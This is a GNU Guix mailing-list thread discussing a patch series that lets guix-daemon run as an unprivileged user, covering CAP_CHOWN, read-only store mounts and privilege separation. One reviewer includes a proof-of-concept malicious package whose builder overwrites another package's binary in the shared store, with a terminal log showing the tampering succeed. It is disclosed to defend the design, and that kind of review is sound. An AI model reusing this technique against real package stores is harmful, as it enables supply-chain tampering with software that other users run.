[bug#75810,0/6] Rootless guix-daemon

  From: Ludovic Courtès <ludovic.courtes@inria.fr>

Hello Guix!

That guix-daemon runs as root is not confidence-inspiring for many.
Initially, the main reason for running it as root was, in the absence
of user namespaces, the fact that builders would be started under one
of the build user accounts, which only root can do.  Now that
unprivileged user namespaces are almost ubiquitous (even on HPC
clusters), this is no longer a good reason.

This patch changes guix-daemon so it can run as an unprivileged
user, using unprivileged user namespaces to still support isolated
builds.  There’s a couple of cases where root is/was still necessary:

  1. To create /var/guix/profiles/per-user/$USER and chown it
     as $USER (see CVE-2019-18192).

  2. To chown /tmp/guix-build-* when using ‘--keep-failed’.

Both can be addressed by giving CAP_CHOWN to guix-daemon, and this is
what this patch series does on distros using systemd.  (For some
reason CAP_CHOWN had to be added to the set of “ambient capabilities”,
which are inherited by child processes; this is why there’s a patch
to drop ambient capabilities in build processes.)

On Guix System (not implemented here), we could address (1) by
creating /var/guix/profiles/per-user/$USER upfront for all the
user accounts.  We could leave (2) unaddressed (so failed build
directories would be owned by guix-daemon:guix-daemon) or we’d
have to pass CAP_CHOWN as well.

There’s another issue: /gnu/store can no longer be remounted
read-only (like we do on Guix System and on systemd with
‘gnu-store.mount’) because then unprivileged guix-daemon would
be unable to remount it read-write (or at least I couldn’t find
a way to do that).  Thus ‘guix-install.sh’ no longer installs
‘gnu-store.mount’ in that case.  It’s a bit sad to lose that
so if anyone can think of a way to achieve it, that’d be great.

I tested all this in a Debian VM¹, along these lines:

  1. GUIX_ALLOW_ME_TO_USE_PRIVATE_COMMIT=yes make update-guix-package
  2. ./pre-inst-env guix pack -C zstd guix --without-tests=guix \
        --localstatedir --profile-name=current-guix
  3. Copy ‘guix-install.sh’ and the tarball to the VM over SSH.
  4. In the VM: GUIX_BINARY_FILE_NAME=pack.tar.zst ./guix-install.sh

The next step (in another patch series) would be Guix System support
with automatic transition (essentially “chown -R
guix-daemon:guix-daemon /gnu/store”).

Thoughts?

Ludo’.

¹ https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/debian-live-12.9.0-amd64-standard.iso

Ludovic Courtès (6):
  daemon: Allow running as non-root with unprivileged user namespaces.
  DRAFT tests: Run in a chroot and unprivileged user namespaces.
  daemon: Create /var/guix/profiles/per-user unconditionally.
  daemon: Drop Linux ambient capabilities before executing builder.
  etc: systemd services: Run ‘guix-daemon’ as an unprivileged user.
  guix-install.sh: Support the unprivileged daemon where possible.

 build-aux/test-env.in       |  14 +++-
 config-daemon.ac            |   2 +-
 etc/guix-daemon.service.in  |  12 +++-
 etc/guix-install.sh         | 114 ++++++++++++++++++++++++-------
 guix/substitutes.scm        |   4 +-
 nix/libstore/build.cc       | 132 ++++++++++++++++++++++++++++++------
 nix/libstore/local-store.cc |  30 +++++---
 tests/store.scm             |  89 ++++++++++++++----------
 8 files changed, 300 insertions(+), 97 deletions(-)


base-commit: bc6769f1211104dbc9341c064275cd930f5dfa3a
  

Ludovic Courtès writes:

Hello!

> That guix-daemon runs as root is not confidence-inspiring for many.

Certainly, in fact, this and the many build users was [sadly?] the
reason I didn't look further into Nix around 2010 or so...

[..]

> This patch changes guix-daemon so it can run as an unprivileged
> user, using unprivileged user namespaces to still support isolated
> builds.

Yay, awesome!

> There’s a couple of cases where root is/was still necessary:

[..]

> There’s another issue: /gnu/store can no longer be remounted
> read-only (like we do on Guix System and on systemd with
> ‘gnu-store.mount’) because then unprivileged guix-daemon would
> be unable to remount it read-write (or at least I couldn’t find
> a way to do that).  Thus ‘guix-install.sh’ no longer installs
> ‘gnu-store.mount’ in that case.  It’s a bit sad to lose that
> so if anyone can think of a way to achieve it, that’d be great.

Hmm.  So this is is about using guix as a package manager on foreign
systems, for now?  Will there be an option for users to choose between
a non-root guix-daemon or a read-only store?

I'm kind of afraid that having a writable /gnu/store, even if it's just
on foreign distributions, is going to cause a whole lot of problems/bug
reports with people changing files in the store.  When I came to guix I
ran it on Debian for a couple of months and I certainly changed files in
the store, even with the read-only mount hurdle, to "get stuff to
build".  Only later to realise that by doing so I was making things much
more difficult for myself.

Hopefully I'm either misunderstanding this patch set, or else too
pessimistict, and maybe other people aren't as stupid as I was when I
first came to Guix?

Greetings,
Janneke
  

Hello,

Janneke Nieuwenhuizen <janneke@gnu.org> skribis:

>> There’s another issue: /gnu/store can no longer be remounted
>> read-only (like we do on Guix System and on systemd with
>> ‘gnu-store.mount’) because then unprivileged guix-daemon would
>> be unable to remount it read-write (or at least I couldn’t find
>> a way to do that).  Thus ‘guix-install.sh’ no longer installs
>> ‘gnu-store.mount’ in that case.  It’s a bit sad to lose that
>> so if anyone can think of a way to achieve it, that’d be great.
>
> Hmm.  So this is is about using guix as a package manager on foreign
> systems, for now?

Yes, but the goal is to eventually make it available (as an option) on
Guix System.

> Will there be an option for users to choose between a non-root
> guix-daemon or a read-only store?

I would prefer not having to choose between the two, but as I wrote, I
don’t know how to make it work.

Currently ‘makeStoreWritable’ does this:

    if (stat.f_flag & ST_RDONLY) {
        if (unshare(CLONE_NEWNS) == -1)
            throw SysError("setting up a private mount namespace");

        if (mount(0, settings.nixStore.c_str(), "none", MS_REMOUNT | MS_BIND, 0) == -1)
            throw SysError(format("remounting %1% writable") % settings.nixStore);
    }

But the remount trick only works if you’re actually root.

As non-root, what can guix-daemon do?  It could (bind-)mount the
underlying file system, but how to do that?  (Thinking out loud.)
Perhaps ‘gnu-store.mount’ could stash the read-write variant aside, say
in /gnu/.rw-store, and guix-daemon would bind-mount that to /gnu/store?

> I'm kind of afraid that having a writable /gnu/store, even if it's just
> on foreign distributions, is going to cause a whole lot of problems/bug
> reports with people changing files in the store.  When I came to guix I
> ran it on Debian for a couple of months and I certainly changed files in
> the store, even with the read-only mount hurdle, to "get stuff to
> build".  Only later to realise that by doing so I was making things much
> more difficult for myself.

Yeah, agreed.

Thanks for your feedback!

Ludo’.
  

> Hello Guix!
> 
> That guix-daemon runs as root is not confidence-inspiring for many.
> Initially, the main reason for running it as root was, in the absence
> of user namespaces, the fact that builders would be started under one
> of the build user accounts, which only root can do.  Now that
> unprivileged user namespaces are almost ubiquitous (even on HPC
> clusters), this is no longer a good reason.

Without the build users, we're relying entirely on kernel-specific
sandboxing mechanisms to protect the system from rogue builders.  It's
probably (?) not impossible to make it work, but, as with every time
security mechanisms are changed, it does require some very careful
thought.

For example, consider the following:

--8<---------------cut here---------------start------------->8---
(use-modules (guix)
             (gnu)
             (guix build-system trivial))

(define-public sneakysneaky
  (package
    (name "sneakysneaky")
    (version "0")
    (source #f)
    (build-system trivial-build-system)
    (arguments
     (list
      #:builder
      #~(let ((hello (string-append #$(this-package-input "hello")
                                    "/bin/hello")))
          (chmod (dirname hello) #o775)
          (chmod hello #o775)
          (delete-file hello)
          (call-with-output-file hello
            (lambda (port)
              (chmod port #o775)
              (display "#!/bin/sh
echo \"GOOOOOD BYYEEEEEE\""
                       port)))
          (mkdir #$output))))
    (inputs (list (@ (gnu packages base) hello)))
    (home-page "")
    (synopsis "")
    (description "")
    (license #f)))

sneakysneaky
--8<---------------cut here---------------end--------------->8---


If we save this as /tmp/mal-test.scm on a debian VM with these patches
applied, we can see the following:


--8<---------------cut here---------------start------------->8---
user@debian:~$ guix build --no-grafts hello
/gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1
user@debian:~$ /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/bin/hello
Hello, world!
user@debian:~$ guix build --no-grafts -f /tmp/mal-test.scm
substitute: looking for substitutes on 'https://bordeaux.guix.gnu.org'... 100.0%
substitute: looking for substitutes on 'https://ci.guix.gnu.org'... 100.0%
The following derivation will be built:
  /gnu/store/p15g92hfs7254pqfa3kss63dprw2clis-sneakysneaky-0.drv
building /gnu/store/p15g92hfs7254pqfa3kss63dprw2clis-sneakysneaky-0.drv...
successfully built /gnu/store/p15g92hfs7254pqfa3kss63dprw2clis-sneakysneaky-0.drv
/gnu/store/y1jzqg30cgkydl8kymjsh99zqgzh1yj1-sneakysneaky-0
user@debian:~$ /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/bin/hello
GOOOOOD BYYEEEEEE
user@debian:~$ 
--8<---------------cut here---------------end--------------->8---

This happens because the daemon bind-mounts store items into the
container, so it's the same underlying inode both inside and out of the
container.  The build runs as the same user as the store owner, so
there's nothing stopping it from freely modifying its input store items
and any of their transitive references.

I suppose we could try to perform these bind-mounts with the MS_RDONLY
flag, but we would need some way to ensure that the builder can't just
remount them read-write (I haven't yet looked into how to do this).  The
nuclear option, of course, would be to simply do a full copy of the
store items in question instead of a bind-mount.

> This patch changes guix-daemon so it can run as an unprivileged
> user, using unprivileged user namespaces to still support isolated
> builds.  There’s a couple of cases where root is/was still necessary:
> 
>   1. To create /var/guix/profiles/per-user/$USER and chown it
>      as $USER (see CVE-2019-18192).
> 
>   2. To chown /tmp/guix-build-* when using ‘--keep-failed’.
> 
> Both can be addressed by giving CAP_CHOWN to guix-daemon, and this is
> what this patch series does on distros using systemd.  (For some
> reason CAP_CHOWN had to be added to the set of “ambient capabilities”,
> which are inherited by child processes; this is why there’s a patch
> to drop ambient capabilities in build processes.)
> 
> On Guix System (not implemented here), we could address (1) by
> creating /var/guix/profiles/per-user/$USER upfront for all the
> user accounts.  We could leave (2) unaddressed (so failed build
> directories would be owned by guix-daemon:guix-daemon) or we’d
> have to pass CAP_CHOWN as well.

The automatic chown of /tmp/guix-build-* has always been a litte strange
considering that multiple users could attempt the same doomed-to-failure
derivation build at the same time, and it comes down to a race to see
who gets the build (and therefore the build directory).  This does raise
the question, though, of how these failed build directories would get
deleted, aside from rebooting the system.  Perhaps the garbage collector
could be modified to get rid of them?  In which case it may be best to
make it so that the failed build directories are automatically added to
the temp roots for a client, and the client takes care to copy the
failed build directory to a fresh path owned by the current user?  Or we
could make it so that the failed build directory gets sent over the wire
in nar form to the client.  Not sure what the best approach there is.

> There’s another issue: /gnu/store can no longer be remounted
> read-only (like we do on Guix System and on systemd with
> ‘gnu-store.mount’) because then unprivileged guix-daemon would
> be unable to remount it read-write (or at least I couldn’t find
> a way to do that).  Thus ‘guix-install.sh’ no longer installs
> ‘gnu-store.mount’ in that case.  It’s a bit sad to lose that
> so if anyone can think of a way to achieve it, that’d be great.

We currently remount /gnu/store read-write at LocalStore-creation-time,
which happens in the newly-forked guix-daemon process at the start of a
connection.  I don't think there's any particularly elevated risk from
instead doing that before the per-connection process is forked.  There
are a number of ways we could do this: we could make it the
responsibility of the init system to create the mount namespace and do
the remounting, or we could have guix-daemon do it immediately on
startup and subsequently switch its uid and gid to
guix-daemon:guix-daemon.  These lack the slick appeal of "see, you never
have to give it root, and you can prove it just by looking at the
service file", but realistically should be just as secure.  It may be
useful to provide a small wrapper around guix-daemon that does the
remount and privilege-dropping, to more succinctly express this to
anybody wishing to see for themselves.

> The next step (in another patch series) would be Guix System support
> with automatic transition (essentially “chown -R
> guix-daemon:guix-daemon /gnu/store”).
> 
> Thoughts?

There are, effectively, 3 platforms that guix currently supports: posix,
linux, and hurd.  Posix doesn't get much attention since we don't chase
Mac like nix does, but there do exist configurations where we use
neither linux-specific nor hurd-specific functionality.  Additionally, a
given guix-daemon may be either privileged or unprivileged.  Thus, we
end up with a total of 6 configurations.  Except there is now also the
question of whether less-than-fully-trusted users are allowed access to
the guix-daemon's socket.  Now we're in theory at 12 configurations.
Which of these configurations to use is, in some circumstances, going to
come down to judgement calls.  For example, one user may not care at all
about the risk of malicious builders (e.g. "the admins on this shared
system all use the debian tools anyway"), but be quite concerned about
the possibility of a root-granting exploit being found in guix-daemon.
Another (like myself and other Guix System users) may consider a risk to
the store to be the same as a risk to the entire system itself.  In
theory splitting between "privileged-with-root" and
"privileged-with-capabilities" will only increase the number of
configurations further.

Personally, I think that if a guix-daemon can use privilege separation
users, it would probably be a good idea to.  We're certainly going to
need to support them on non-linux systems either way.  Could it be
possible to have guix-install.sh modify /etc/sudoers on systems that use
it to allow the guix-daemon user to run processes under guix builder
users?  I am currently less worried about arbitrary code execution
vulnerabilities being found in the daemon than about the possibility of
malicious builders (but it is possible I am underexposed to the ways
those can happen in C++).

Additionally, CAP_CHOWN, while not having a direct path to privilege
escalation due to setuid and setgid bits being reset when chown is
called, can nevertheless be easily leveraged into privilege escalation
in most real-world situations where arbitrary code execution is
possible, so switching to using just that capability would realistically
only add defense in less-than-arbitrary-code-execution scenarios.

Using unprivileged user namespaces would, however, be an excellent
addition for unprivileged daemons, like the one started by test-env, or
one started by an unprivileged user on a system without a whole-system
guix installation.

Hope that helps.

- reepca